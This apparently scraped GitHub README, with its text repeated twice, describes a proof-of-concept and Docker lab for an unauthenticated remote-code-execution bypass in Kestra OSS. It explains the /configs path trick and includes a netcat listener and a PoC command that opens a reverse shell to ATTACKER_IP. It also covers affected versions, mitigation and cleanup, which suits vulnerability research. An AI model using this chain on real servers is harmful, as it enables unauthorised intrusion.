EQSTLab/CVE-2026-49869

Kestra Unauthenticated RCE

Python

1

4 commits

updated Sep 29, 2026

See the code

See what people are saying

README

CVE-2026-49869: Kestra Unauthenticated Remote Code Execution

★PoC and Docker lab for the authentication bypass in Kestra OSS AuthenticationFilter★

Run this lab only on systems you control. The -p 8080:8080 example may publish the vulnerable API on all host interfaces; block access from other networks.

https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865

Overview

Kestra uses Basic Auth to protect its API. In affected OSS versions, AuthenticationFilter treats any request path ending in /configs as a public configuration endpoint. An unauthenticated client can therefore create a flow named configs and then execute it through API paths that both end in /configs. A shell task in that flow can execute commands in the Kestra worker container. The defect and RCE chain are described in the Kestra security advisory.

Affected Versions

Kestra OSS branchVulnerable versionsFirst patched version
1.0.x and earlierBefore 1.0.451.0.45
1.1.x–1.3.x1.1.0 through 1.3.201.3.21

The lab uses v1.3.20 with OSS Basic Auth enabled. The issue affects this authentication path when the Kestra API is reachable; the local image is based on kestra/kestra:v1.3.20.

Impact

  • Create and execute a flow without credentials.
  • Execute commands through an installed script task, with the worker container's privileges.
  • Access or modify other resources whose API path ends in /configs; the advisory also describes SSRF through a workflow template.

Container privileges do not imply host privileges.

Environment

The repository should contain Dockerfile, entrypoint.sh, and poc.py alongside this README. Docker is required to run the target; Python 3 is required for the PoC. No Python packages need to be installed.

docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab

entrypoint.sh enables Basic Auth with a lab-only account:

UsernamePassword
eqst@local.testEqst123!

Kestra requires an email-shaped username and a password with at least eight characters, upper- and lowercase letters, and a digit. These credentials are published for local testing only.

Wait until the first request returns 200. The second request should return 401, showing that Basic Auth protects an ordinary API path:

curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs

If a stopped container already has the same name, use docker start cve-2026-49869-lab to reuse it, or remove that container before creating a new one with docker run.

PoC

The script sends two requests without credentials: one creates or updates configs/configs with a shell task, and the next starts its execution. No existing user-created flow is needed. Running the script again replaces the lab flow with the same name.

First, start a listener on the machine receiving the shell connection:

nc -lvnp LISTENER_PORT

Then run the PoC from the directory containing poc.py:

python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT

For a Docker lab on the same machine, replace TARGET with 127.0.0.1. Set ATTACKER_IP to an IPv4 address the container can reach; the script does not start the listener. The script prints the execution response, including an execution ID. A connection at the listener is needed to confirm that the reverse shell itself worked.

Observed Results

The recorded local test used a harmless Log task to verify the authentication bypass and workflow execution. It did not run the reverse shell payload.

Checkv1.3.20v1.3.21
Ordinary protected API, no credentials401401
Create configs flow, no credentials200401
Start configs execution, no credentials200401
Harmless task on vulnerable versionSUCCESS, marker in logs—

The reverse shell callback is not part of these recorded results.

Mitigation

Upgrade to at least 1.0.45 on the 1.0.x branch or 1.3.21 on the 1.1.x–1.3.x branches. The upstream fix normalizes the path and checks the exact public configuration route instead of accepting every /configs suffix. Until the upgrade is complete, restrict access to the Kestra API and allow unauthenticated access only to the intended public route at a proxy.

Cleanup

docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab

References

EQSTLab/CVE-2026-49869

Kestra Unauthenticated RCE

Python

1

4 commits

updated Sep 29, 2026

See the code

See what people are saying

README

CVE-2026-49869: Kestra Unauthenticated Remote Code Execution

★PoC and Docker lab for the authentication bypass in Kestra OSS AuthenticationFilter★

Run this lab only on systems you control. The -p 8080:8080 example may publish the vulnerable API on all host interfaces; block access from other networks.

https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865

Overview

Kestra uses Basic Auth to protect its API. In affected OSS versions, AuthenticationFilter treats any request path ending in /configs as a public configuration endpoint. An unauthenticated client can therefore create a flow named configs and then execute it through API paths that both end in /configs. A shell task in that flow can execute commands in the Kestra worker container. The defect and RCE chain are described in the Kestra security advisory.

Affected Versions

Kestra OSS branchVulnerable versionsFirst patched version
1.0.x and earlierBefore 1.0.451.0.45
1.1.x–1.3.x1.1.0 through 1.3.201.3.21

The lab uses v1.3.20 with OSS Basic Auth enabled. The issue affects this authentication path when the Kestra API is reachable; the local image is based on kestra/kestra:v1.3.20.

Impact

  • Create and execute a flow without credentials.
  • Execute commands through an installed script task, with the worker container's privileges.
  • Access or modify other resources whose API path ends in /configs; the advisory also describes SSRF through a workflow template.

Container privileges do not imply host privileges.

Environment

The repository should contain Dockerfile, entrypoint.sh, and poc.py alongside this README. Docker is required to run the target; Python 3 is required for the PoC. No Python packages need to be installed.

docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab

entrypoint.sh enables Basic Auth with a lab-only account:

UsernamePassword
eqst@local.testEqst123!

Kestra requires an email-shaped username and a password with at least eight characters, upper- and lowercase letters, and a digit. These credentials are published for local testing only.

Wait until the first request returns 200. The second request should return 401, showing that Basic Auth protects an ordinary API path:

curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs

If a stopped container already has the same name, use docker start cve-2026-49869-lab to reuse it, or remove that container before creating a new one with docker run.

PoC

The script sends two requests without credentials: one creates or updates configs/configs with a shell task, and the next starts its execution. No existing user-created flow is needed. Running the script again replaces the lab flow with the same name.

First, start a listener on the machine receiving the shell connection:

nc -lvnp LISTENER_PORT

Then run the PoC from the directory containing poc.py:

python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT

For a Docker lab on the same machine, replace TARGET with 127.0.0.1. Set ATTACKER_IP to an IPv4 address the container can reach; the script does not start the listener. The script prints the execution response, including an execution ID. A connection at the listener is needed to confirm that the reverse shell itself worked.

Observed Results

The recorded local test used a harmless Log task to verify the authentication bypass and workflow execution. It did not run the reverse shell payload.

Checkv1.3.20v1.3.21
Ordinary protected API, no credentials401401
Create configs flow, no credentials200401
Start configs execution, no credentials200401
Harmless task on vulnerable versionSUCCESS, marker in logs—

The reverse shell callback is not part of these recorded results.

Mitigation

Upgrade to at least 1.0.45 on the 1.0.x branch or 1.3.21 on the 1.1.x–1.3.x branches. The upstream fix normalizes the path and checks the exact public configuration route instead of accepting every /configs suffix. Until the upgrade is complete, restrict access to the Kestra API and allow unauthenticated access only to the intended public route at a proxy.

Cleanup

docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab

References

Languages

Python

79.2%

Shell

12.5%

Dockerfile

8.3%